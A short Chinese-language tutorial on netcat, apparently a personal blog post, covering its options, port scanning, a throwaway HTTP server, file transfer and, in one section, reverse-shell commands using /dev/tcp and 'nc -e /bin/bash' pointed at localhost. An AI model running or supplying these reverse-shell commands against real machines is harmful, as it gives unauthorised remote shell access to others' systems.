netcat被成为网络工具中的瑞士军刀,之前也没怎么用过,挺惭愧的,那么现在来看看怎么用吧。 udp 和 tcp协议都比较好使,至少在测udp的时候,使用telnet感觉很无力呀。(nc 和 netcat都是一个命令)
参数
nc --version
netcat (The GNU Netcat) 0.7.1
Copyright (C) 2002 - 2003 Giovanni Giacobbi
想要连接到某处: nc [-options] hostname port[s] [ports]
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
案例
端口扫描
# nc -z -v 127.0.0.1 1-100
localhost [127.0.0.1] 80 (http) open
telnet 类似的用法,发送一个tcp或者udp包
发送tcp请求到80端口
# nc localhost 80
shell反弹
第一种在ubuntu上试过,第二种是用gun的netcat,比较好使。
机器A : $ nc -l -n -vv -p 8080
机器B: $ /bin/bash -i > /dev/tcp/127.0.0.1/8080 0<&1 2>&1 (shell反弹)
#另外一种写法,在A上可以反弹B的shell
A: # netcat -lvvp 4444
B: # netcat -v 127.0.0.1 4444 -e /bin/bash
模拟httpserver,一个页面
nc -l 8888 < index.html
#这样写只能访问一次哦
while true; do nc -l 8888 < index.html; done
#直接在浏览器中访问就行了
文件传输
这个顺序有点特殊,先执行接受端,然后是发送端在发送
#文件从B->A
#首先在接受端A
# nc -lvvp 4444 > aaaa.txt
#然后在发送端B
# nc -vv 127.0.0.1 4444 < t1.sed
管道符的写法
#文件从 A-B传送
发送A
$ cat backup.iso | nc -l 3333
接受B
$ nc 192.168.0.1 3333 > backup.iso